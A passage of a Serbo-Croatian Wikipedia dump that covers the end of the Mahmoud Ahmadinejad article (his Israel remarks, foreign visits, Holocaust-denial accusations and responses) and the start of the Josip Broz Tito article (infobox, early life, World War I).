[[Egipat]]ski, [[Turska|turski]] i [[Palestinci|palestinski]] lideri također su izrazili negodovanje zbog istih izjava<ref>[http://news.bbc.co.uk/1/hi/world/middle_east/4387206.stm BBC: ''UN raps Iran's anti-Israel rant'' (oktobar, 2005.)]</ref>. Bilo je i onih koji su njegove riječi protumačili kao poziv na genocid. [[Kanada|Kanadski]] premijer Paul Martin rekao je „''ovo je prijetnja za postojanje Izraela i poziv na genocid kojeg zajedno s nuklearnim ambicijama svijet ne smije ignorirati''“<ref>[http://www.carolynbennettmp.ca/dev/downloads/2005-11-13_Prime-Minister-Martin-Addresses-Jewish-Leaders_Toronto.doc˙Carolynbennettmp.ca: ''Prime Minister Martin Addresses Jewish Leaders Toronto'' (novembar, 2005.), Word dokument]{{Dead link|date=February 2026 |bot=InternetArchiveBot |fix-attempted=yes }}</ref>. Izraelac Joshua Teitelbaum, u izvještaju za ''Jeruzalemski centar za javne odnose'', također je opisao Ahmadinežadove riječi kao „poziv na uništenje države Izrael i na genocid“<ref>[http://www.imra.org.il/story.php3?id=42801 IMRA: ''Joshua Teitelbaum documents: Iranian leaders have repeatedly called for the destruction of Israel and the Jewish people'' (februar, 2009.)]</ref>. S druge strane, neki profesori i prevoditelji negiraju kako je Ahmadinežad pozvao na uništenje države ili naroda. Dr. Juan Cole, profesor moderne bliskoistočne i jugozapadne povijesti sa sveučilišta Michigan, tvrdi kako „Ahmadinežad nije rekao kako Izrael treba izbrisati s karte svijeta, jer ta fraza ne postoji na [[perzijski|perzijskom jeziku]]“<ref name="juancole">[http://www.juancole.com/2006/05/hitchens-hacker-and-hitchens.html Juan Cole - Global Americana Institute]</ref>. Prema Coleu, citat je preveden kao: ''Imam je rekao kako ovaj režim koji je okupirao Jeruzalem mora biti uklonjen ([[perzijski]]: een rezhim-e eshghalgar-e qods bayad az safheh-ye ruzgar mahv shavad)''<ref name="juancole"/>. Na isti način citat je preveo i Bliskoistočni institut za medije ([[MEMRI]])<ref>[http://memri.org/bin/articles.cgi?Page=archives&Area=sd&ID=SP101305 MEMRI: ''Iranian President at Tehran Conference'' (oktobar, 2005.)]</ref>. Profesor međunarodnih odnosa sa [[Sveučilište Harvard|Harvarda]], dr. Stephen Walt, također tvrdi kako Ahmadinežad nije pozivao na genocid<ref>{{Cite web |title=Associated Press: ''Israel Lobby authors in Jerusalem: Ahmadinejad not inciting to genocide'' (Haaretz.com, juni 2008.) |url=http://www.haaretz.com/hasen/spages/992363.html |access-date=2008-06-13 |archivedate=2008-06-13 |archiveurl=https://web.archive.org/web/20080613153409/http://www.haaretz.com/hasen/spages/992363.html |deadurl=no }}</ref>. Tokom [[Izraelsko-libanonski rat 2006.|Izraelsko-libanonskog rata]] u julu [[2006.]], Ahmadinežad je usporedio izraelske vojne akcije s potezima [[Adolf Hitler|Adolfa Hitlera]] u vrijeme [[Drugi svjetski rat|Drugog svjetskog rata]], kazavši „poput Hitlera, ''cionistički režim'' (Izrael) samo traži izgovore za svoje napade i ponaša se kao sam Hitler“<ref>{{Cite web |title=India eNews: ''Ahmadinejad compares Israel to Hitler'' (juli, 2006.) |url=http://www.indiaenews.com/middle-east/20060716/15031.htm |access-date=2009-03-15 |archive-date=2007-09-27 |archive-url=https://web.archive.org/web/20070927185444/http://www.indiaenews.com/middle-east/20060716/15031.htm |dead-url=yes }}</ref>. U intervjuu [[8. 8.]] [[2006.]] za ''60 Minutes'' kojeg vodi novinar Mike Wallace, govorio je o američkoj potpori izraelskom „ubilačkom režimu“ i moralnim temeljima izraelske invazije na [[Libanon]]<ref>[http://www.cbsnews.com/stories/2006/08/09/60minutes/main1879867.shtml CBS News: Iranian Leader Opens Up (august, 2006.)]</ref>. Početkom decembra [[2006.]] Ahmadinežad je u [[Doha|Dohi]] sastao s palestinskim premijerom [[Ismail Haniyah]]om. Na sastanku je izjavio kako je „''Izrael stvoren za uspostavljanje dominacije arogantnih sila u regiji i omogućavanje neprijatelju prodiranje u srce muslimanske zemlje''“. Nazvao je Izrael ''prijetnjom'' koju su stvorili [[SAD]] i [[Velika Britanija]]<ref>{{Cite web |url=http://www.presstv.ir/detail.aspx?id=81572&sectionid=351020101 |title=PressTV: ''Ahmadinejad: Israel could attack others'' (januar, 2009.) |access-date=2013-06-16 |archive-date=2009-01-16 |archive-url=https://web.archive.org/web/20090116011536/http://www.presstv.ir/detail.aspx?id=81572&sectionid=351020101 |url-status=dead }}</ref>. Prilikom govora [[12. 12.]] [[2006.]] na Međunarodnoj konferenciji o [[holokaust]]u održanoj u [[Teheran]]u, rekao je „Izrael će propasti. To je Božja volja i želja svih naroda svijeta“<ref>{{Cite web |url=http://www.haaretz.com/hasen/spages/949628.html |title=Haaretz: ''Ahmadinejad tells West: Accept Israel's imminent collapse'' (januar, 2008.) |access-date=2013-06-16 |archive-date=2010-01-06 |archive-url=https://web.archive.org/web/20100106075427/http://www.haaretz.com/hasen/spages/949628.html |url-status=dead }}</ref>. Na pitanje novinara [[CNN]]-a [[Larry King]]a „''Je li Izrael ostaje Izrael?''“ u njegovoj verziji [[Bliski istok|Bliskog istoka]], Ahmadinežad je predložio da se na [[Palestina|palestinskim područjima]] održe slobodni izbori pod nadzorom međunarodnih organizacija. Dodao je: „''Moramo omogućiti slobodne izbore pod nadzorom [[UN]]-a. [[Palestinci|Palestinski narod]], palestinske izbjeglice i svi stanovnici tog područja moraju sudjelovati na takvim izborima, a svijet mora prihvatiti rezultat tih izbora kako god on proizašao''“<ref name="larryking">[http://transcripts.cnn.com/TRANSCRIPTS/0809/23/lkl.01.html CNN: ''Interview with Iranian President Mahmoud Ahmadinejad'' (Larry King, septembar 2008.)]</ref>. U septembru [[2008.]] izraelski ministar Rafi Eitan zaprijetio je otmicom Ahmadinežada<ref>[http://news.bbc.co.uk/2/hi/middle_east/7605852.stm BBC: ''Israel could kidnap Ahmadinejad'' (septembar, 2008.)]</ref> zbog čega je Iran protestirao [[UN|Ujedinjenim Narodima]] nazvavši Eitanovu prijetnju „terorističkom“<ref>[http://www.encyclopedia.com/doc/1G1-184717252.html Encyclopedia.com: ''Iran Protests to UN over Eitan's Kidnap Threat'' (septembar, 2008.)]</ref>. ==== Pakistan ==== Na turneji po južnoj Aziji u aprilu [[2008.]], Ahmadinežad je posjetio [[Pakistan]] gdje je razgovarao o političkom stanju u regiji i gradnji [[plinovod]]a [[Iran]]-[[Pakistan]]-[[Indija]]<ref>{{Cite web |url=http://www.thaindian.com/newsportal/south-asia/ahmadinejad-visits-pak_10042846.html |title=The Indian News: ''Ahmadinejad visits Pak'' (april, 2008.) |access-date=2009-03-15 |archive-date=2008-12-31 |archive-url=https://web.archive.org/web/20081231010740/http://www.thaindian.com/newsportal/south-asia/ahmadinejad-visits-pak_10042846.html |url-status=dead }}</ref>, kojem se protive [[SAD]]<ref>{{Cite web |url=http://www.payvand.com/news/08/jun/1158.html |title=Payvand: ''U.S. Concerns Over Iran-Pakistan-India Gas Pipeline'' (juni, 2008.) |access-date=2009-03-15 |archive-date=2009-04-17 |archive-url=https://web.archive.org/web/20090417025622/http://www.payvand.com/news/08/jun/1158.html |url-status=dead }}</ref>. Pakistanski predsjednik [[Pervez Musharraf]] dao je potporu iranskom nuklearnom programu nazvavši ga „transparentnim“<ref>[http://www.globalsecurity.org/wmd/library/news/iran/2005/iran-050923-irna02.htm IRNA: ''Ahmadinejad: Pakistan's stands in IAEA token of good mutual ties'' (Globalsecurity.org, septembar 2005.)]</ref>. ==== Saudijska Arabija ==== U decembru [[2007.]] Ahmadinežad je kao prvi iranski predsjednik od 1979. otišao na muslimansko hodočašće [[Hadždž]] u [[Meka|Meku]]<ref>[https://archive.today/20120906082909/www.monstersandcritics.com/news/middleeast/news/article_1381508.php/Ahmadinejad_attends_hajj_as_first_Iranian_president Deutsche Presse-Agentur: ''Ahmadinejad attends hajj as first Iranian president'' (M&C, decembar, 2007.)]</ref>, zajedno s [[Saudijska Arabija|saudijskim]] kraljem [[Abdullah bin Abdulaziz al-Saud|Abdullahom al-Saudom]]<ref>{{Cite web |title=Iran Daily: ''Ahmadinejad, Abdullah discuss Muslim issues'' (decembar, 2007.), PDF format |url=http://www.iran-daily.com/1386/3022/pdf/i2.pdf |access-date=2008-10-07 |archivedate=2008-10-07 |archiveurl=https://web.archive.org/web/20081007024924/http://www.iran-daily.com/1386/3022/pdf/i2.pdf |deadurl=no }}</ref>. Lideri dvaju najutjecajnijih muslimanskih zemalja razgovarali su o unaprijeđenju bilateralnih odnosa, stanju u regiji<ref>[http://www.president.ir/en/?ArtID=7749 IRNA: ''President Ahmadinejad meets Saudi King Abdullah in Mina'' (President.ir, decembar 2007.)]</ref> i iranskom nuklearnom programu<ref>[http://english.peopledaily.com.cn/200703/04/eng20070304_354099.html People Daily: ''Ahmadinejad, Abdullah hold crucial talks on pressing regional issues'']</ref>. Obojica su osudili sektaško nasilje u [[Irak]]u<ref>[http://www.reuters.com/article/worldNews/idUSL0332990520070303 Reuters: ''Ahmadinejad, Saudi king reject sectarian strife'' (mart, 2007.)]</ref>. ==== Sirija ==== Tokom rata između [[Izrael]]a i [[Hezbollah]]a [[2006.]] godine, iranski predsjednik upozorio je Izrael da ne napada [[Sirija|Siriju]], inače najvećeg iranskog saveznika u regiji, jer će u protivnom [[Iran]] uzvratiti „razarajućom odmazdom“<ref>[http://www.ynetnews.com/articles/0,7340,L-3275355,00.html Ynet News: ''Iran warns Israel not to attack Syria'' (juli, 2006.)]</ref>. Na sastanku [[20. 7.]] [[2007.]] u [[Damask]]u između Ahmadinežada i sirijskog predsjednika [[Bashar al-Assad|Assada]], dvoje lidera pozvali su na jačanje jedinstva među [[Palestinci]]ma i [[Libanon]]cima<ref>{{Cite web |url=http://www.payvand.com/news/07/jul/1223.html |title=Payvand: ''Ahmadinejad, Assad Call for Unity Among Lebanese, Palestinians'' (juli, 2007.) |access-date=2009-03-15 |archive-date=2008-12-10 |archive-url=https://web.archive.org/web/20081210162312/http://www.payvand.com/news/07/jul/1223.html |url-status=dead }}</ref>. ==== Turska ==== Ahmadinežad je posjetio [[Turska|Tursku]] u augustu [[2008.]], uoči čega je Izrael protestirao turskim vlastima<ref>{{Cite web |url=http://www.haaretz.com/hasen/spages/1009597.html |title=Haaretz: ''Israel slams Turkey over Ahmadinejad plan to visit'' (Barak Ravid, august 2008.) |access-date=2013-06-16 |archive-date=2009-09-28 |archive-url=https://web.archive.org/web/20090928042738/http://www.haaretz.com/hasen/spages/1009597.html |url-status=dead }}</ref>. U razgovoru s turskim predsjednikom [[Abdullah Gul|Abdullahom Gulom]] dogovorena je suradnja na području borbe protiv [[Terorizam|terorizma]] i trgovine drogom, te povećanje gospodarske razmjene na 20 milijardi dolara u iduće četiri godine<ref>[http://news.xinhuanet.com/english/2008-08/15/content_9340283.htm Xinhua: ''Ahmadinejad: Turkey, Iran to cooperate in combating terrorism'' (august, 2008.)]</ref>. == Prozivanja za negiranje holokausta i antisemitizam == U decembru [[2005.]] Ahmadinežad je dao nekoliko kontroverznih izjava o [[holokaust]]u koje su određeni mediji diljem svijeta protumačili kao nazivanje holokausta „mitom“. Također, kritizirao je i europske zakone koji zabranjuju reviziju [[holokaust]]a. Prema reportaži iranske radio-postaje Ahmadinežad je (aludirajući na Europljane) izjavio: „''Stvorili su mit o holokaustu kojeg drže iznad Boga i vjere''“<ref>[http://www.guardian.co.uk/world/2005/dec/14/iran.secondworldwar Guardian: ''Holocaust a myth, says Iranian president'' (decembar, 2005.)]</ref>. Citat je preveden i kao: „''Stvorili su mit kako je ubijanje židova iznad Boga, vjere i božjih poslanika''“<ref>[http://news.bbc.co.uk/2/hi/middle_east/4527142.stm BBC: ''Iranian leader denies Holocaust'' (decembar, 2005.)]</ref>. Prilikom intervjua za njemački [[Der Spiegel]] u maju [[2006.]], Ahmadinežad je inzistirao kako postoje „dva mišljenja“ o holokaustu. Na pitanje smatra li holokaust mitom, odgovorio je „Prihvatiti ću to kao istinu ako postoje čvrsti dokazi“. Dodao je; „Mi smo mišljenja kako je dozvoljeno istraživati i diskutirati o povijesnim činjenicama“. Rekao je i kako su „većina“ učenjaka koji priznaju postojanje holokausta „politički motivirana“, dodavši: <blockquote>„''Postoje dva mišljenja o holokaustu u Europi. Prvu skupinu čine učenjaci i ljudi koji iz politički motiviranih razloga tvrde kako se holokaust dogodio. Drugu skupinu čine učenjaci koji nude oprečna mišljenja, zbog kojih završavaju u zatvoru.''“<ref>[http://www.spiegel.de/international/spiegel/0,1518,418660,00.html Spiegel: ''Interview with Iran's President Ahmadinejad'' (maj, 2006.)]</ref></blockquote> U augustu [[2006.]] objavljeno je kako iranski predsjednik ponovo ima sumnje u postojanje holokausta, ovaj put u pismu njemačkoj kancelarski [[Angela Merkel|Angeli Merkel]], gdje je napisao kako je moguće da su holokaust izmislili [[Saveznici]] da osramote [[Njemačka|Njemačku]]<ref>[http://www.mg.co.za/article/2006-08-28-ahmadinejad-holocaust-was-made-up Mail & Guardian: ''Ahmadinejad: Holocaust was made up'' (august, 2006.)]</ref>. Međunarodna konferencija o [[holokaust]]u održana je [[11. 12.]] [[2006.]] u [[iran]]skom glavnom gradu [[Teheran]]u<ref>[http://edition.cnn.com/2006/WORLD/meast/12/11/iran.holocaust/index.html CNN: ''Iran hosts Holocaust conference'' (decembar, 2006.)]</ref>, a održana je na zahtjev samog Ahmadinežada. Zapadni mediji uglavnom su osudili održavanje konferencije nazivajući je „konferencijom negiranja holokausta“<ref>[http://www.csmonitor.com/2006/1222/p09s03-cods.html CS Monitor: ''Iran's Holocaust-denial conference: a community of hate'' (Daniel Schorr, decembar 2006.)]</ref>, premda je Iran tvrdio kako se ne radi o sastanku negiranja holokausta, već o konferenciji koja će „pružiti mogućnost da intelektualci slobodno izraze svoja mišljenja o holokaustu jer im je u Europi to zabranjeno“<ref>[http://www.spiegel.de/international/0,1518,453691,00.html Spiegel: ''Berlin Counters Holocaust Conference'' (decembar, 2006.)]</ref>. U govoru na Sveučilištu Columbia u septembru 2007. Ahmadinežad je rekao: „''Osobno ne tvrdim kako se holokaust nije dogodio, to uopće nije moje mišljenje''“<ref name="ahmadinejadspeech"/>, te kako bi istraživanje i rasprava o holokaustu trebala biti dozvoljena kao u slučaju ostalih povijesnih događaja<ref>[http://www.washingtonpost.com/wp-dyn/content/article/2007/09/24/AR2007092401042_pf.html Washington Post: ''President Ahmadinejad Delivers Remarks at Columbia University'' (septembar, 2007.)]</ref>. Kao odgovor na kontroverzne Ahmadinežadove izjave i postupke, mnogi subjekti uključujući i [[Senat SAD|američki senat]] optužili su iranskog predsjednika za [[antisemitizam]]<ref>[http://frwebgate.access.gpo.gov/cgi-bin/getpage.cgi?dbname=2008_record&page=S922&position=all Congressional Record - Senate (februar, 2008.), PDF format]</ref>. Poslije govora na Glavnoj skupštini [[UN|Ujedinjenih Naroda]] u septembru [[2008.]] gdje je Ahmadinežad upozorio na „cionističku kontrolu međunarodnih financija“, optužen je za antisemitizam i od strane njemačkog ministra vanjskih poslova [[Frank-Walter Steinmeier|Franka-Waltera Steinmeiera]]<ref>{{Cite web |url=http://tvnz.co.nz/view/page/536641/2110198 |title=Reuters: ''Germany: Ahmadinejad anti-Semitic'' (septembar, 2008.) |access-date=2009-03-15 |archive-date=2014-08-30 |archive-url=https://web.archive.org/web/20140830072026/http://tvnz.co.nz/view/page/536641/2110198 |url-status=dead }}</ref>. === Odgovor na prozivanja === Ahmadinežad je opovrgnuo optužbe za negiranje holokausta<ref>[http://www.nydailynews.com/news/2007/09/24/2007-09-24_irans_president_i_dont_deny_holocaust-3.html NY Daily News: ''Iran's president: I don't deny Holocaust'' (septembar, 2007.)]</ref> i dao na znanje kako se čini kako je Zapad u pravu u svojim tvrdnjama o holokaustu: <blockquote>Ako Europljani govore istinu u svojim tvrdnjama kako je u holokaustu ubijeno šest milijuna židova za vrijeme Drugog svjetskog rata, što se čini neospornim budući da inzistiraju na uhićivanju onih koji to negiraju, zbog čega bi palestinski narod trebao plaćati za taj zločin? Zbog čega su došli u samo srce muslimanskog svijeta provodeći zločine protiv Palestinaca svojim bombama, raketama, projektilima i sankcijama?<ref name="GS-polling"/></blockquote> Ahmadinežad je rekao kako poštuje [[Židovi|Židove]] i kako „u Palestini zajedno žive muslimani, kršćani i Židovi“. Dodao je: „Mi poštujemo svakoga na svijetu; Židove, kršćane, muslimane, nemuslimane, nežidove, nekršćane... Mi smo protiv okupacije, agresije, ubijanja i progona ljudi, u protivnom nemamo problema s bilo kime“<ref name="bbc-notantisemite"/>. Dodao je i kako židovska zajednica u Iranu ima stalne zastupnike u iranskom parlamentu, te kako „cionisti nisu ni židovi ni kršćani ni muslimani“, upitavši „Kako netko može biti religiozan a zaposjesti zemlju koja pripada drugom narodu?“<ref name="larryking"/>. Shiraz Dossa, profesor s St. Francis Xavier sveučilišta u Novoj Škotskoj, [[Kanada|Kanadi]], u junu 2007. izjavio je: <blockquote> Ahmadinežad u niti jednoj svojoj izjavi nije negirao holokaust ili predlagao uništenje Izraela (predočivši sve prijevode s perzijskog jezika). Kao stručnjak za Iran, Mogu potvrditi kako su obje optužbe lažne... Ono o čemu je Ahmadinežad govorio jest mitoiziranje i sakralizacija holokausta i cionističkog ubijanja Palestinaca i muslimana. Nikada nije dovodio u pitanje razmjere holokausta. Njegova retorika bila je pretjerano provokativna. Njega zapravo ne zanima što Zapad misli o Iranu ili muslimanima; on se ne pokorava zapadnom ili izraelskom diktatu<ref>[http://lrc.reviewcanada.ca/index.php?page=the-explanation-we-never-heard LRC: ''The Explanation We Never Heard'' (Shiraz Dossa, juni 2007.)]</ref>.</blockquote> Dossa se poslije ovih riječi našao na udaru kanadskih medija, sveučilišnog predsjednika Seana Rileya i mnogih profesora sa sveučilišta na kojem je zaposlen<ref>[http://www.thestar.com/News/article/184492 The Star: ''Blood feud in Israel's religious academia'' (februar, 2007.)]</ref>, kao i zbog sudjelovanja na teheranskoj konferenciji o holokaustu<ref>[http://www.canadafreepress.com/2006/cover121506.htm Canada Free Press: ''Professor Shiraz Dossa known by the company he keeps'' (decembar, 2006.)]</ref>. Dossa je odgovorio kako nije znao da će na konferenciji bili poricatelji holokausta i kako „nikada nije negirao holokaust već samo njegovu propagandnu moć“, te kako sveučilište treba poštivati njegovu akademsku slobodu sudjelovanja<ref>{{Cite web |title=CBC News: ''Prof defends participation at controversial Tehran conference'' (maj, 2007.) |url=http://www.cbc.ca/canada/story/2007/05/28/dossa-essay.html |access-date=2007-06-01 |archivedate=2007-06-01 |archiveurl=https://web.archive.org/web/20070601213901/http://www.cbc.ca/canada/story/2007/05/28/dossa-essay.html |deadurl=no }}</ref>. == Izvori == {{izvori|2}} == Vanjske veze == * [http://uk.youtube.com/watch?v=LJGrs3QK24E Ahmadinežadova božićka čestitka 2008.] * [http://www.president.ir/en/ Službena stranica iranskog predsjednika] * [http://www.ahmadinejad.ir Blog predsjednika Mahmuda Ahmadinežada] {{Webarchive|url=https://web.archive.org/web/20071003013439/http://www.ahmadinejad.ir/ |date=2007-10-03 }} * [http://www.cidob.org/es/documentacion/biografias_lideres_politicos/asia/iran/mahmoud_ahmadinejad Biografija (CIDOB Foundation)] * [http://www.irannegah.com/video_browse.aspx?keyword=ahmadinejad Video arhiv predsjednika Ahmadinežada] * [http://www.time.com/time/world/article/0,8599,1665018,00.html ''Zašto Ahmadinežad voli New York'' (TIME Magazine)] {{Webarchive|url=https://web.archive.org/web/20090418182631/http://www.time.com/time/world/article/0,8599,1665018,00.html |date=2009-04-18 }} * [http://www.time.com/time/magazine/article/0,9171,1570714,00.html Intervju s Ahmadinežadom - TIME Magazine] {{Webarchive|url=https://web.archive.org/web/20110119234745/http://www.time.com/time/magazine/article/0,9171,1570714,00.html |date=2011-01-19 }} ;Ostali projekti {{WProjekti |commons = محمود احمدی‌نژاد |commonssh = Mahmud Ahmadinežad |commonscat = Mahmoud Ahmadinejad |commonscatsh = Mahmud Ahmadinežad |wikizvor = |wikizvor_autor = |wječnik = |wikiknjige = |wikicitat = }} {{Izabran}} {{Iranski predsjednici}} {{Vođe Pokreta nesvrstanih}} {{Normativna kontrola}} {{Lifetime|1956||Ahmadinežad, Mahmud}} [[Kategorija:Predsjednici Irana]] [[Kategorija:Iranski političari]] [[Kategorija:Gradonačelnici Teherana]] ls86fdd68ucb8ztzwdngmo7mhckerjl 0 4355 42602653 42602528 2026-05-28T02:56:39Z Dwina744 178014 zamjena stare engl. literature sa savremenom na sh. jeziku (dom. i str. autora) 42602653 wikitext text/x-wiki {{For|film|Josip Broz Tito (film)}} {{Redirect|Tito}} {{Politički vođa |ime= Josip Broz Tito |datum rođenja= {{Birth date and age|1892|05|7|df=y}} |mjesto rođenja= [[Kumrovec]], [[Austro-Ugarska]]<br /><small>(danas [[Hrvatska]])</small> |datum smrti= {{death date and age|1980|05|4|1892|05|7|df=y}} |mjesto smrti= [[Ljubljana]], [[Socijalistička Federativna Republika Jugoslavija|SFRJ]]<br /><small>(danas [[Slovenija]])</small> |malaslika= |opis male slike= |slika= Josip Broz Tito uniform portrait.jpg |veličina= 290px |opis slike= |stranka= [[Komunistička partija Jugoslavije]] (KPJ) |potpis= Tito signature.svg |supruga= [[Pelagija Belousova]] {{small|(1919-1936)}}<br />[[Lucija Bauer]] {{small|(1936-1937}}<br />[[Herta Haas]] {{small|(1940-1943)}}<br />[[Davorjanka Paunović]] {{small|(1941-1946)}}<br />[[Jovanka Broz]] {{small|(1952-1980)}} |obrazovanje= |zanimanje= [[bravar]] |fusnote= {{small|[[Datoteka:Flag of the President of Yugoslavia (1963-1993).svg|centar|100px]]}} |položaj = 1. [[Spisak šefova države Jugoslavije|Predsjednik Socijalističke Federativne Republike Jugoslavije]] |mandat_start = [[14. 1.|14. siječnja]] [[1953.]] |mandat_kraj = [[4. 5.|4. svibnja]] [[1980.]] |podpredsjednik = |podpremijer = |zamjenik = |premijer1 = ''on sam'' {{small|(1953–1963)}}<br />[[Petar Stambolić]] {{small|(1963–1967)}}<br />[[Mika Špiljak]] {{small|(1967–1969)}}<br />[[Mitja Ribičič]] {{small|(1969–1971)}}<br />[[Džemal Bijedić]] {{small|(1971–1977)}}<br />[[Veselin Đuranović]] {{small|(1977–1980)}} |predsjednik1 = |prethodnik = [[Ivan Ribar]]<br />{{small|(kao predsjednik Predsjedništva)}} |nasljednik = [[Lazar Koliševski]]<br />{{small|(kao predsjednik Predsjedništva)}} |čin2 = 1. [[Spisak predsednika vlada Jugoslavije|Premijer Socijalističke Federativne Republike Jugoslavije]]<br />{{small|22. [[Spisak predsednika vlada Jugoslavije|Premijer Jugoslavije]]}} |mandat_start2 = [[29. 11.|29. studenog]] [[1943.]] |mandat_kraj2 = [[29. 6.|29. lipnja]] [[1963.]] |podpredsjednik2 = |podpremijer2 = |zamjenik2 = |premijer2 = |predsjednik2 = [[Ivan Ribar]] {{small|(1945-1953)}}<br />''on sam'' {{small|(1953–1963)}} |prethodnik2 = [[Ivan Šubašić]]<br />([[Kraljevina Jugoslavija]]) |nasljednik2 = [[Petar Stambolić]] |čin3 = 1. [[Pokret nesvrstanih|Generalni sekretar Pokreta nesvrstanih]] |mandat_start3 = [[1. 9.|1. rujna]] [[1961.]] |mandat_kraj3 = [[5. 10.|5. listopada]] [[1964.]] |podpredsjednik3 = |podpremijer3 = |zamjenik3 = |premijer3 = |predsjednik3 = |prethodnik3 = |nasljednik3 = [[Gamal Abdel Nasser]] |čin4 = 7. [[Komunistička partija Jugoslavije|Predsjednik Saveza Komunista Jugoslavije]] |mandat_start4 = [[novembar|studeni]] [[1936.]] |mandat_kraj4 = [[4. 5.|4. svibnja]] [[1980.]] |podpredsjednik4 = |podpremijer4 = |zamjenik4 = |premijer4 = |predsjednik4 = |nasljednik4 = [[Lazar Mojsov]] |prethodnik4 = [[Milan Gorkić]] |vjera= [[Ateizam|ateist]] }} '''Josip Broz Tito''' ([[Kumrovec]], [[7. maja]] [[1892.]] – [[Ljubljana]], [[4. maja]] [[1980.]]), [[Jugoslaveni|jugoslavenski]] revolucionar, vojskovođa i državnik. Smatra se jednom od najvažnijih ličnosti [[20. vijek]]a i uopće historije na prostorima bivše [[Jugoslavija|Jugoslavije]]. Za vreme svoje političke karijere bio je veoma popularna i cenjena ličnost, kako u zemlji, tako i u inostranstvu. Bio je lider [[KPJ|Komunističke partije Jugoslavije]] od [[1937.]] do [[1980]], vođa [[Narodnooslobodilačka borba|Narodnooslobodilačke borbe]] naroda Jugoslavije od [[1941.]] do [[1945]], te doživotni [[Lista poglavara Jugoslavije|predsjednik]] [[SFRJ|Socijalističke federativne republike Jugoslavije]] od [[1953.]] do [[1980.]] godine. Jedan je od osnivača [[Pokret nesvrstanih|Pokreta nesvrstanih]]. [[Pogreb Josipa Broza Tita|Njegova sahrana]] okupila je velik broj tadašnjih svetskih državnika. == Biografija == === Rane godine === [[Datoteka:Titosbirthhome.jpg|levo|thumb|200px|Rodna kuća Josipa Broza Tita u [[Kumrovec|Kumrovcu]]]] Josip Broz je rođen u malom selu [[Kumrovec|Kumrovcu]] na [[Sutla|Sutli]], u najzapadnijem dijelu [[Hrvatsko zagorje|Hrvatskog zagorja]] 7. maja 1892. godine kao sedmo od petnaestero djece roditelja [[Franjo Broz|Franje]] (Franceka) i [[Marija Broz|Marije Broz]], rođene Javeršek.{{sfn|Dedijer|1953|p=20}} Mali "nesporazum" oko toga biografskog podatka, s obzirom da se Titov rođendan slavi na dan 25. maja, objasnili su njegovi biografi činjenicom da je Josip Broz za vrijeme svoga dugogodišnjeg revolucionarnog rada bio prisiljen da se služi lažnim papirima i dokumentima, pa je tako i u jednom vojničkom dokumentu austro-ugarske vojske zabilježeno da je rođen 25. maja. A upravo na taj dan (25. V 1944) izvršen je i [[desant na Drvar]]. Rođendan je ostao, pa ni sam Tito nije želio da se taj datum mijenja kad ga je narod već prihvatio. Sin oca [[Hrvati|Hrvata]] i majke [[Slovenci|Slovenke]], Josip Broz nije osjećao nikakvih nelagoda zbog te okolnosti, jer između dvije susjedne zemlje nije bilo antagonizma ni netrpeljivosti. Josip Broz je mnoge dane djetinjstva proveo kod djeda [[Martin Javeršek|Martina]] preko Sutle, te naučio odlično [[slovenski jezik|slovenski]], zbog čega je imao poteškoća kada je pošao u hrvatsku osnovnu školu. Kada se rodio Josip Broz, život u kumrovačkoj dolini je bio težak i naporan, oskudan i jednoličan. Iako je kmetstvo odavno bilo ukinuto, seljaštvo su pritiskali teški nameti, porezi i opća oskudica, jer su im posjedi bili mali, rasparčani, a zemlja slabe kvalitete. Godina [[1903]]. i [[1904]]. bile su veoma burne u tim krajevima, u znaku općeg narodnog pokreta protiv madžarizacije s jedne strane, i u znaku pobune siromašnih seljaka protiv svih vrsta eksploatacije s druge strane. Osnovnu školu Josip Broz je pohađao u Kumrovcu od [[1900.]] do [[1905]].{{sfn|Dedijer|1953|p=29}} Po svršetku osnovne škole Josip Broz je, zbog teškog stanja u obitelji, morao odložiti svoj odlazak na zanat, pa je neko vrijeme morao raditi kod svog ujaka u [[Slovenija|Sloveniji]]. Nakon toga je radio u jednoj [[Sisak|sisačkoj]] kantini. Godine [[1907]]. je postao šegrt mehaničarske radionice u Sisku. Po završetku šegrtske škole [[1910.]] prvi put stiže u [[Zagreb]] gdje postaje član [[Socijaldemokratska stranka Hrvatske (1894)|Socijaldemokratske stranke Hrvatske i Slavonije]] i učestvuje u radničkim demonstracijama.{{sfn|Dedijer|1953|p=33}} Nakon "izleta" u [[Trst]], gdje nije našao posao, vraća se u Zagreb gdje 1911. sudjeluje u velikim demonstracijama. Nakon toga je radio u [[Kamnik]]u u Sloveniji, [[Čenkov]]u u [[Češka Republika|Češkoj]], u [[Minhen|Münchenu]], u tvornici automobila "Benz" u [[Mannheim]]u, u Njemačkom [[Ruhr]]u, [[Beč]]u, [[Bečko Novo Mjesto|Bečkom Novom Mjestu]] gdje je radio u tvornici automobila "[[Daimler]]" kao probni vozač.{{sfn|Dedijer|1953|p=33}}{{sfn|Maclean|1957|p=11}} Naučio je [[nemački jezik|njemački]] i [[češki jezik]], usavršio svoj i izučio nove zanate. === Prvi svjetski rat i oktobarska revolucija === {{main|Jugosloveni u Oktobarskoj revoluciji}} [[Datoteka:Tito, pelagija i zarko.jpg|minijatura|Prva Titova supruga [[Pelagija Belousova]], kojom se oženio tokom boravka u Rusiji.]] Godine [[1913.]] odlazi u austro-ugarsku vojsku.{{sfn|Maclean|1957|p=11}} Tamo je relativno brzo napredovao i stekao podoficirski čin. Također je otkrio i talent za [[mačevanje]] te je dobio srebrnu medalju na prvenstvu austro-ugarske vojske u toj disciplini. Početkom [[Prvi svjetski rat|prvog svjetskog rata]] 1914 shvatio je da to nije njegov rat i da nema za šta da ratuje, pa je u to uvjeravao i svoje drugove u kasarni. Odveden je u [[Petrovaradinska tvrđava|Petrovaradinsku tvrđavu]] i tu je proveo neko vrijeme, ali nije osuđen nego je poslan na frontu u [[Galicija|Galiciju]] pa zatim na [[Karpati|Karpate]]. Na fronti je bio do [[25. 5.|25. maja]] [[1915]]. kada je ranjen i zarobljen. U ruskoj bolnici provodi trinaest mjeseci gdje mnogo čita i uči [[ruski jezik]]. Nakon izlječenja, Tito je kao zarobljenik poslan na rad u selo Kalasijevo. Pored posla nalazi vremena za čitanje a u razgovorima sa seljacima sve se češće spominje ime [[Vladimir Iljič Lenjin|Lenjin]]. Krajem [[1916]]. premješten je u [[Kungur]] gdje radi na održavanju željezničke pruge. U junu [[1917]]. napušta Kungur i odlazi u [[Sankt Peterburg|Petrograd]] gdje sudjeluje u demonstracijama. Zatim bježi u [[Finska|Finsku]]. Tamo je uhapšen i poslan u zatvor u [[Petropavlovsk]]oj tvrđavi, iz koje je transportiran natrag u Kungur. Iz transporta je pobjegao i dospio u [[Omsk]], gdje se, poslije 